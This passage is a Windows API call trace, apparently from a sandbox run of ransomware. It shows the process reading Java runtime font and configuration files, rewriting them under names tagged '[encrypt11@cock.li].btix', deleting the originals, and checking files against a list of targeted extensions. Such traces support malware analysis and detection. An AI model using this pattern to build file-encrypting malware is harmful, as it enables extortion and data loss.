hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x2948, lpOverlapped=0x0) returned 1 [0153.906] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x2950, lpOverlapped=0x0) returned 1 [0153.907] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.907] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x106, lpOverlapped=0x0) returned 1 [0153.907] SetEndOfFile (hFile=0x3a4) returned 1 [0153.907] CloseHandle (hObject=0x3a4) returned 1 [0153.907] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.907] SetEndOfFile (hFile=0x37c) returned 1 [0153.913] CloseHandle (hObject=0x37c) returned 1 [0153.913] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.913] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fontconfig.properties.src")) returned 1 [0153.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.922] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.922] lstrlenW (lpString=".doc") returned 4 [0153.923] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0153.923] lstrlenW (lpString=".docx") returned 5 [0153.923] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0153.923] lstrlenW (lpString=".pdf") returned 4 [0153.923] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0153.923] lstrlenW (lpString=".xls") returned 4 [0153.923] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0153.923] lstrlenW (lpString=".xlsx") returned 5 [0153.923] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0153.923] lstrlenW (lpString=".ppt") returned 4 [0153.923] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0153.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.923] lstrlenW (lpString=".zip") returned 4 [0153.923] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0153.923] lstrlenW (lpString=".rar") returned 4 [0153.923] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0153.923] lstrlenW (lpString=".bz2") returned 4 [0153.923] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0153.923] lstrlenW (lpString=".7z") returned 3 [0153.923] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0153.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.923] lstrlenW (lpString=".dbf") returned 4 [0153.923] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0153.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.923] lstrlenW (lpString=".1cd") returned 4 [0153.923] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0153.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.923] lstrlenW (lpString=".jpg") returned 4 [0153.923] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0153.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.923] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.923] lstrlenW (lpString=".doc") returned 4 [0153.923] lstrcmpiW (lpString1=".doc", lpString2=".src") returned -1 [0153.924] lstrlenW (lpString=".docx") returned 5 [0153.924] lstrcmpiW (lpString1=".docx", lpString2="s.src") returned -1 [0153.924] lstrlenW (lpString=".pdf") returned 4 [0153.924] lstrcmpiW (lpString1=".pdf", lpString2=".src") returned -1 [0153.924] lstrlenW (lpString=".xls") returned 4 [0153.924] lstrcmpiW (lpString1=".xls", lpString2=".src") returned 1 [0153.924] lstrlenW (lpString=".xlsx") returned 5 [0153.924] lstrcmpiW (lpString1=".xlsx", lpString2="s.src") returned -1 [0153.924] lstrlenW (lpString=".ppt") returned 4 [0153.924] lstrcmpiW (lpString1=".ppt", lpString2=".src") returned -1 [0153.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.924] lstrlenW (lpString=".zip") returned 4 [0153.924] lstrcmpiW (lpString1=".zip", lpString2=".src") returned 1 [0153.924] lstrlenW (lpString=".rar") returned 4 [0153.924] lstrcmpiW (lpString1=".rar", lpString2=".src") returned -1 [0153.924] lstrlenW (lpString=".bz2") returned 4 [0153.924] lstrcmpiW (lpString1=".bz2", lpString2=".src") returned -1 [0153.924] lstrlenW (lpString=".7z") returned 3 [0153.924] lstrcmpiW (lpString1=".7z", lpString2="src") returned -1 [0153.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.924] lstrlenW (lpString=".dbf") returned 4 [0153.924] lstrcmpiW (lpString1=".dbf", lpString2=".src") returned -1 [0153.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.924] lstrlenW (lpString=".1cd") returned 4 [0153.924] lstrcmpiW (lpString1=".1cd", lpString2=".src") returned -1 [0153.924] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fontconfig.properties.src") returned 64 [0153.924] lstrlenW (lpString=".jpg") returned 4 [0153.924] lstrcmpiW (lpString1=".jpg", lpString2=".src") returned -1 [0153.924] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0153.924] lstrlenW (lpString="LucidaBrightDemiBold.ttf") returned 24 [0153.925] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.925] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=75144) returned 1 [0153.927] CloseHandle (hObject=0x37c) returned 1 [0153.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 0x20 [0153.927] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.927] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.927] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.927] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.927] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.929] GetLastError () returned 0x0 [0153.929] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x12588, lpOverlapped=0x0) returned 1 [0153.931] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x12590, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x12590, lpOverlapped=0x0) returned 1 [0153.933] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0153.933] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x104, lpOverlapped=0x0) returned 1 [0153.933] SetEndOfFile (hFile=0x3a4) returned 1 [0153.933] CloseHandle (hObject=0x3a4) returned 1 [0153.934] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.934] SetEndOfFile (hFile=0x37c) returned 1 [0153.935] CloseHandle (hObject=0x37c) returned 1 [0153.935] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0153.935] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemibold.ttf")) returned 1 [0153.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.935] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.935] lstrlenW (lpString=".doc") returned 4 [0153.935] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0153.936] lstrlenW (lpString=".docx") returned 5 [0153.936] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0153.936] lstrlenW (lpString=".pdf") returned 4 [0153.936] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0153.936] lstrlenW (lpString=".xls") returned 4 [0153.936] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0153.936] lstrlenW (lpString=".xlsx") returned 5 [0153.936] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0153.936] lstrlenW (lpString=".ppt") returned 4 [0153.936] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0153.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.936] lstrlenW (lpString=".zip") returned 4 [0153.936] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0153.936] lstrlenW (lpString=".rar") returned 4 [0153.936] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0153.936] lstrlenW (lpString=".bz2") returned 4 [0153.936] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0153.936] lstrlenW (lpString=".7z") returned 3 [0153.936] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0153.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.936] lstrlenW (lpString=".dbf") returned 4 [0153.936] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0153.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.936] lstrlenW (lpString=".1cd") returned 4 [0153.936] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0153.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.936] lstrlenW (lpString=".jpg") returned 4 [0153.936] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0153.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.936] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.936] lstrlenW (lpString=".doc") returned 4 [0153.936] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0153.936] lstrlenW (lpString=".docx") returned 5 [0153.936] lstrcmpiW (lpString1=".docx", lpString2="d.ttf") returned -1 [0153.937] lstrlenW (lpString=".pdf") returned 4 [0153.937] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0153.937] lstrlenW (lpString=".xls") returned 4 [0153.937] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0153.937] lstrlenW (lpString=".xlsx") returned 5 [0153.937] lstrcmpiW (lpString1=".xlsx", lpString2="d.ttf") returned -1 [0153.937] lstrlenW (lpString=".ppt") returned 4 [0153.937] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0153.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.937] lstrlenW (lpString=".zip") returned 4 [0153.937] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0153.937] lstrlenW (lpString=".rar") returned 4 [0153.937] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0153.937] lstrlenW (lpString=".bz2") returned 4 [0153.937] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0153.937] lstrlenW (lpString=".7z") returned 3 [0153.937] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0153.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.937] lstrlenW (lpString=".dbf") returned 4 [0153.937] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0153.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.937] lstrlenW (lpString=".1cd") returned 4 [0153.937] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0153.937] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiBold.ttf") returned 69 [0153.937] lstrlenW (lpString=".jpg") returned 4 [0153.937] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0153.937] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0153.937] lstrlenW (lpString="LucidaBrightDemiItalic.ttf") returned 26 [0153.937] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.938] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=75124) returned 1 [0153.938] CloseHandle (hObject=0x37c) returned 1 [0153.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 0x20 [0153.938] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0153.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0153.938] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.938] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0153.938] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0153.939] GetLastError () returned 0x0 [0153.939] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x12574, lpOverlapped=0x0) returned 1 [0154.259] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x12580, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x12580, lpOverlapped=0x0) returned 1 [0154.261] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesRead=0x351fecc*=0x0, lpOverlapped=0x0) returned 1 [0154.261] WriteFile (in: hFile=0x3a4, lpBuffer=0x3f4a020*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x351fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f4a020*, lpNumberOfBytesWritten=0x351fc94*=0x108, lpOverlapped=0x0) returned 1 [0154.261] SetEndOfFile (hFile=0x3a4) returned 1 [0154.261] CloseHandle (hObject=0x3a4) returned 1 [0154.261] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.262] SetEndOfFile (hFile=0x37c) returned 1 [0154.263] CloseHandle (hObject=0x37c) returned 1 [0154.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0154.263] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightdemiitalic.ttf")) returned 1 [0154.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.263] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.264] lstrlenW (lpString=".doc") returned 4 [0154.264] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.264] lstrlenW (lpString=".docx") returned 5 [0154.264] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0154.264] lstrlenW (lpString=".pdf") returned 4 [0154.264] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.264] lstrlenW (lpString=".xls") returned 4 [0154.264] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.264] lstrlenW (lpString=".xlsx") returned 5 [0154.264] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0154.264] lstrlenW (lpString=".ppt") returned 4 [0154.264] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.264] lstrlenW (lpString=".zip") returned 4 [0154.264] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.264] lstrlenW (lpString=".rar") returned 4 [0154.264] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.264] lstrlenW (lpString=".bz2") returned 4 [0154.264] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.264] lstrlenW (lpString=".7z") returned 3 [0154.264] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.264] lstrlenW (lpString=".dbf") returned 4 [0154.264] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.264] lstrlenW (lpString=".1cd") returned 4 [0154.264] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.264] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.264] lstrlenW (lpString=".jpg") returned 4 [0154.264] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.265] lstrlenW (lpString=".doc") returned 4 [0154.265] lstrcmpiW (lpString1=".doc", lpString2=".ttf") returned -1 [0154.265] lstrlenW (lpString=".docx") returned 5 [0154.265] lstrcmpiW (lpString1=".docx", lpString2="c.ttf") returned -1 [0154.265] lstrlenW (lpString=".pdf") returned 4 [0154.265] lstrcmpiW (lpString1=".pdf", lpString2=".ttf") returned -1 [0154.265] lstrlenW (lpString=".xls") returned 4 [0154.265] lstrcmpiW (lpString1=".xls", lpString2=".ttf") returned 1 [0154.265] lstrlenW (lpString=".xlsx") returned 5 [0154.265] lstrcmpiW (lpString1=".xlsx", lpString2="c.ttf") returned -1 [0154.265] lstrlenW (lpString=".ppt") returned 4 [0154.265] lstrcmpiW (lpString1=".ppt", lpString2=".ttf") returned -1 [0154.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.265] lstrlenW (lpString=".zip") returned 4 [0154.265] lstrcmpiW (lpString1=".zip", lpString2=".ttf") returned 1 [0154.265] lstrlenW (lpString=".rar") returned 4 [0154.265] lstrcmpiW (lpString1=".rar", lpString2=".ttf") returned -1 [0154.265] lstrlenW (lpString=".bz2") returned 4 [0154.265] lstrcmpiW (lpString1=".bz2", lpString2=".ttf") returned -1 [0154.265] lstrlenW (lpString=".7z") returned 3 [0154.265] lstrcmpiW (lpString1=".7z", lpString2="ttf") returned -1 [0154.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.265] lstrlenW (lpString=".dbf") returned 4 [0154.265] lstrcmpiW (lpString1=".dbf", lpString2=".ttf") returned -1 [0154.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.265] lstrlenW (lpString=".1cd") returned 4 [0154.265] lstrcmpiW (lpString1=".1cd", lpString2=".ttf") returned -1 [0154.265] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightDemiItalic.ttf") returned 71 [0154.265] lstrlenW (lpString=".jpg") returned 4 [0154.265] lstrcmpiW (lpString1=".jpg", lpString2=".ttf") returned -1 [0154.266] lstrcmpiW (lpString1=".ttf", lpString2=".btix") returned 1 [0154.266] lstrlenW (lpString="LucidaBrightItalic.ttf") returned 22 [0154.266] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.266] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x351ff14 | out: lpFileSize=0x351ff14*=80856) returned 1 [0154.266] CloseHandle (hObject=0x37c) returned 1 [0154.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf")) returned 0x20 [0154.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0154.266] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0154.267] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.267] SetFilePointerEx (in: hFile=0x37c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x351fec0 | out: lpNewFilePointer=0x0) returned 1 [0154.267] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\fonts\\LucidaBrightItalic.ttf.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\fonts\\lucidabrightitalic.ttf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a4 [0154.267] GetLastError () returned 0x0 [0154.267] ReadFile (in: hFile=0x37c, lpBuffer=0x3f4a020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x351fecc, lpOverlapped=0x0 | out: 